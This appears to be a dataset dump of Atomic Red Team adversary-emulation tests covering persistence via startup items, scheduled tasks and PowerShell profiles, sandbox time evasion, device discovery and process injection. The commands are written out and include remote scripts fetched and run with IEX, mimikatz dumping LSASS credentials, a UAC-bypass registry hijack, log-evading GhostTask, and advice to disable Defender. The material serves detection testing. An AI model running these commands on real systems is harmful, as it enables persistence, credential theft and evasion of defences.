deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1037.005: Boot or Logon Initialization Scripts: Startup Items
Test: Add launch script to launch agent
Platforms: macos
Executor: bash

Description:
Add launch script to /Library/StartupItems to launch agent
[Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)


Command:
sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist
sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh
sudo cp #{path_malicious_plist} /tmp/T1037_005_agent.plist
/Library/StartupItems/atomic.sh start


Cleanup:
sudo launchctl unload /tmp/T1037_005_agent.plist
sudo rm /tmp/T1037_005_agent.plist
sudo rm /Library/StartupItems/atomic.sh
sudo rm /Library/StartupItems/StartupParameters.plist
sudo rm /tmp/T1037_005_agent.txt

Dependencies:
/Library/StartupItems must exist

The shared library must exist on disk at specified location (#{path_malicious_plist})

The startup script must exist on disk at specified location (#{path_malicious_script})
# T1497.003 - Time Based Evasion

## Description from ATT&CK

> Adversaries may employ various time-based methods to detect virtualization and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. This may include enumerating time-based properties, such as uptime or the system clock.
> 
> Adversaries may use calls like `GetTickCount` and `GetSystemTimeAsFileTime` to discover if they are operating within a virtual machine or sandbox, or may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)

[Source](https://attack.mitre.org/techniques/T1497/003)

## Atomic Tests

- [Atomic Test #1: Delay execution with ping](#atomic-test-1-delay-execution-with-ping)

### Atomic Test #1: Delay execution with ping

Uses the ping command to introduce a delay before executing a malicious payload.

**Supported Platforms:** Linux, macOS

**auto_generated_guid:** `8b87dd03-8204-478c-bac3-3959f6528de3`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| evil_command | Command to run after the delay | string | whoami|
| ping_count | Number of ping requests to send (higher counts increase the delay) | integer | 250|

#### Attack Commands: Run with `sh`!

```sh
ping -c #{ping_count} 8.8.8.8 > /dev/null
#{evil_command}
```
Atomic Red Team — T1497.003: Time Based Evasion
Test: Delay execution with ping
Platforms: linux, macos
Executor: sh

Description:
Uses the ping command to introduce a delay before executing a malicious payload.


Command:
ping -c #{ping_count} 8.8.8.8 > /dev/null
#{evil_command}
Atomic Red Team — T1053.005: Scheduled Task/Job: Scheduled Task
Test: Scheduled Task Startup Script
Platforms: windows
Executor: command_prompt

Description:
Run an exe on user logon or system startup.  Upon execution, success messages will be displayed for the two scheduled tasks. To view
the tasks, open the Task Scheduler and look in the Active Tasks pane.


Command:
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"


Cleanup:
schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1
schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1
Atomic Red Team — T1053.005: Scheduled Task/Job: Scheduled Task
Test: Scheduled task Local
Platforms: windows
Executor: command_prompt

Description:
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.


Command:
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}


Cleanup:
SCHTASKS /Delete /TN spawn /F >nul 2>&1
Atomic Red Team — T1053.005: Scheduled Task/Job: Scheduled Task
Test: Scheduled task Remote
Platforms: windows
Executor: command_prompt

Description:
Create a task on a remote system.
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.


Command:
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}


Cleanup:
SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN "Atomic task" /F >nul 2>&1
Atomic Red Team — T1053.005: Scheduled Task/Job: Scheduled Task
Test: Powershell Cmdlet Scheduled Task
Platforms: windows
Executor: powershell

Description:
Create an atomic scheduled task that leverages native powershell cmdlets.

Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.


Command:
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object


Cleanup:
Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false >$null 2>&1
Atomic Red Team — T1053.005: Scheduled Task/Job: Scheduled Task
Test: Task Scheduler via VBA
Platforms: windows
Executor: powershell

Description:
This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within
30 - 40 seconds after this module has run


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"


Cleanup:
Unregister-ScheduledTask -TaskName "Run Notepad" -Confirm:$false


Dependencies:
Microsoft #{ms_product} must be installed
Atomic Red Team — T1053.005: Scheduled Task/Job: Scheduled Task
Test: WMI Invoke-CimMethod Scheduled Task
Platforms: windows
Executor: powershell

Description:
Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.


Command:
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }


Cleanup:
Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false >$null 2>&1


Dependencies:
File to copy must exist on disk at specified location (#{xml_path})
Atomic Red Team — T1053.005: Scheduled Task/Job: Scheduled Task
Test: Scheduled Task Executing Base64 Encoded Commands From Registry
Platforms: windows
Executor: command_prompt

Description:
A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.
The scheduled task will launch powershell to decode and run the command in the registry daily.
This is a persistence mechanism recently seen in use by Qakbot.  

[Additiona Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)


Command:
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}


Cleanup:
schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1
reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1
Atomic Red Team — T1053.005: Scheduled Task/Job: Scheduled Task
Test: Import XML Schedule Task with Hidden Attribute
Platforms: windows
Executor: powershell

Description:
Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. 
This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.


Command:
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }


Cleanup:
Unregister-ScheduledTask -TaskName "atomic red team" -confirm:$false >$null 2>&1


Dependencies:
File to copy must exist on disk at specified location (#{xml_path})
Atomic Red Team — T1053.005: Scheduled Task/Job: Scheduled Task
Test: PowerShell Modify A Scheduled Task
Platforms: windows
Executor: powershell

Description:
Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. 
It will first be created to spawn cmd.exe, but modified to run notepad.exe.

Upon successful execution, powershell.exe will create a scheduled task and modify the action. 


Command:
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction


Cleanup:
Unregister-ScheduledTask -TaskName "AtomicTaskModifed" -confirm:$false >$null 2>&1
Atomic Red Team — T1053.005: Scheduled Task/Job: Scheduled Task
Test: Scheduled Task ("Ghost Task") via Registry Key Manipulation
Platforms: windows
Executor: command_prompt

Description:
Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means.
This requires a download of the GhostTask binary, which must be run as NT Authority\SYSTEM. Upon successful execution of this test, a scheduled task will be set to run at logon which launches notepad.exe or runs a user-specified command.
For further exploration of this procedure and guidance for hunting and detection, see [Hunting G-G-G-GhostTasks!](https://medium.com/p/154b50ab6a78).


Command:
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon


Cleanup:
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} delete #{task_name} > nul


Dependencies:
PsExec tool from Sysinternals must exist in the ExternalPayloads directory

GhostTask.exe tool from netero101 must exist in the ExternalPayloads directory. This tool may be quarantined by windows defender; disable windows defender real-time protection to fix it or add the ExternalPayloads directory as an exclusion, using a command like `Add-MpPreference -ExclusionPath "PathToAtomicsFolder\..\ExternalPayloads\"`
Atomic Red Team — T1053.005: Scheduled Task/Job: Scheduled Task
Test: Scheduled Task Persistence via CompMgmt.msc
Platforms: windows
Executor: command_prompt

Description:
Adds persistence by abusing `compmgmt.msc` via a scheduled task.
When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). 
This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.


Command:
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc


Cleanup:
reg delete "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /f
schtasks /Delete /TN "#{task_name}" /F
Atomic Red Team — T1053.005: Scheduled Task/Job: Scheduled Task
Test: Scheduled Task Persistence via Eventviewer.msc
Platforms: windows
Executor: command_prompt

Description:
Adds persistence by abusing `eventviewer.msc` via a scheduled task.
When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`). 


Command:
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"


Cleanup:
reg delete "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /f
schtasks /Delete /TN "#{task_name}" /F
Atomic Red Team — T1120: Peripheral Device Discovery
Test: Win32_PnPEntity Hardware Inventory
Platforms: windows
Executor: powershell

Description:
Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity

Command:
Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt
$Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt
@($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne "" } |Set-Content $env:TEMP\T1120_collection.txt

Cleanup:
Remove-Item $env:TEMP\T1120_collection.txt -ErrorAction Ignore
Atomic Red Team — T1120: Peripheral Device Discovery
Test: WinPwn - printercheck
Platforms: windows
Executor: powershell

Description:
Search for printers / potential vulns using printercheck function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
printercheck -noninteractive -consoleoutput
Atomic Red Team — T1120: Peripheral Device Discovery
Test: Peripheral Device Discovery via fsutil
Platforms: windows
Executor: command_prompt

Description:
Performs pheripheral device discovery utilizing fsutil to list all drives.

Command:
fsutil fsinfo drives
Atomic Red Team — T1120: Peripheral Device Discovery
Test: Get Printer Device List via PowerShell Command
Platforms: windows
Executor: powershell

Description:
This test uses PowerShell to list printers on a Windows system, demonstrating a discovery technique attackers might use to 
gather details on connected devices. Using Get-Printer, they can view information on all available printers, identifying 
potential devices for further targeting.


Command:
Get-Printer
# T1120 - Peripheral Device Discovery

## Description from ATT&CK

> Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

[Source](https://attack.mitre.org/techniques/T1120)

## Atomic Tests

- [Atomic Test #1: Win32_PnPEntity Hardware Inventory](#atomic-test-1-win32_pnpentity-hardware-inventory)
- [Atomic Test #2: WinPwn - printercheck](#atomic-test-2-winpwn---printercheck)
- [Atomic Test #3: Peripheral Device Discovery via fsutil](#atomic-test-3-peripheral-device-discovery-via-fsutil)
- [Atomic Test #4: Get Printer Device List via PowerShell Command](#atomic-test-4-get-printer-device-list-via-powershell-command)

### Atomic Test #1: Win32_PnPEntity Hardware Inventory

Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity

**Supported Platforms:** Windows

**auto_generated_guid:** `2cb4dbf2-2dca-4597-8678-4d39d207a3a5`

#### Attack Commands: Run with `powershell`!

```powershell
Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt
$Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt
@($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne "" } |Set-Content $env:TEMP\T1120_collection.txt
```

#### Cleanup Commands

```powershell
Remove-Item $env:TEMP\T1120_collection.txt -ErrorAction Ignore
```
### Atomic Test #2: WinPwn - printercheck

Search for printers / potential vulns using printercheck function of WinPwn

**Supported Platforms:** Windows

**auto_generated_guid:** `cb6e76ca-861e-4a7f-be08-564caa3e6f75`

#### Attack Commands: Run with `powershell`!

```powershell
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
printercheck -noninteractive -consoleoutput
```

### Atomic Test #3: Peripheral Device Discovery via fsutil

Performs pheripheral device discovery utilizing fsutil to list all drives.

**Supported Platforms:** Windows

**auto_generated_guid:** `424e18fd-48b8-4201-8d3a-bf591523a686`

#### Attack Commands: Run with `command_prompt`!

```cmd
fsutil fsinfo drives
```

### Atomic Test #4: Get Printer Device List via PowerShell Command

This test uses PowerShell to list printers on a Windows system, demonstrating a discovery technique attackers might use to 
gather details on connected devices. Using Get-Printer, they can view information on all available printers, identifying 
potential devices for further targeting.

**Supported Platforms:** Windows

**auto_generated_guid:** `5c876daf-db1e-41cf-988d-139a7443ccd4`

#### Attack Commands: Run with `powershell`!

```powershell
Get-Printer
```
Atomic Red Team — T1546.013: Event Triggered Execution: PowerShell Profile
Test: Append malicious start-process cmdlet
Platforms: windows
Executor: powershell

Description:
Appends a start process cmdlet to the current user's powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched.


Command:
Add-Content #{ps_profile} -Value ""
Add-Content #{ps_profile} -Value "Start-Process #{exe_path}"
powershell -Command exit


Cleanup:
$oldprofile = cat $profile | Select-Object -skiplast 1
Set-Content $profile -Value $oldprofile


Dependencies:
Ensure a powershell profile exists for the current user
# T1546.013 - Event Triggered Execution: PowerShell Profile

## Description from ATT&CK

> Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.
> 
> [PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)
> 
> Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)
> 
> An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

[Source](https://attack.mitre.org/techniques/T1546/013)

## Atomic Tests

- [Atomic Test #1: Append malicious start-process cmdlet](#atomic-test-1-append-malicious-start-process-cmdlet)

### Atomic Test #1: Append malicious start-process cmdlet

Appends a start process cmdlet to the current user's powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched.

**Supported Platforms:** Windows

**auto_generated_guid:** `090e5aa5-32b6-473b-a49b-21e843a56896`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| exe_path | Path the malicious executable | path | calc.exe|
| ps_profile | Powershell profile to use | string | $profile|

#### Attack Commands: Run with `powershell`!

```powershell
Add-Content #{ps_profile} -Value ""
Add-Content #{ps_profile} -Value "Start-Process #{exe_path}"
powershell -Command exit
```

#### Cleanup Commands

```powershell
$oldprofile = cat $profile | Select-Object -skiplast 1
Set-Content $profile -Value $oldprofile
```

#### Dependencies: Run with `powershell`!

##### Description: Ensure a powershell profile exists for the current user

###### Check Prereq Commands

```powershell
if (Test-Path #{ps_profile}) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Path #{ps_profile} -Type File -Force
```
Atomic Red Team — T1055: Process Injection
Test: Shellcode execution via VBA
Platforms: windows
Executor: powershell

Description:
This module injects shellcode into a newly created process and executes. By default the shellcode is created,
with Metasploit, for use on x86-64 Windows 10 machines.

Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office
is required.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"


Dependencies:
The 64-bit version of Microsoft Office must be installed

"#{txt_path}" must exist on disk at specified location
Atomic Red Team — T1055: Process Injection
Test: Remote Process Injection in LSASS via mimikatz
Platforms: windows
Executor: command_prompt

Description:
Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).
Especially useful against domain controllers in Active Directory environments.
It must be executed in the context of a user who is privileged on remote `machine`.

The effect of `/inject` is explained in <https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html>


Command:
"#{psexec_path}" /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa /inject /id:500" "exit"


Dependencies:
Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})

PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})
Atomic Red Team — T1055: Process Injection
Test: Section View Injection
Platforms: windows
Executor: powershell

Description:
This test creates a section object in the local process followed by a local section view.
The shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. 
A thread is then created in the target process, using the remote section view as start address.


Command:
$notepad = Start-Process notepad -passthru
Start-Process "$PathToAtomicsFolder\T1055\bin\x64\InjectView.exe"


Cleanup:
Stop-Process $notepad.pid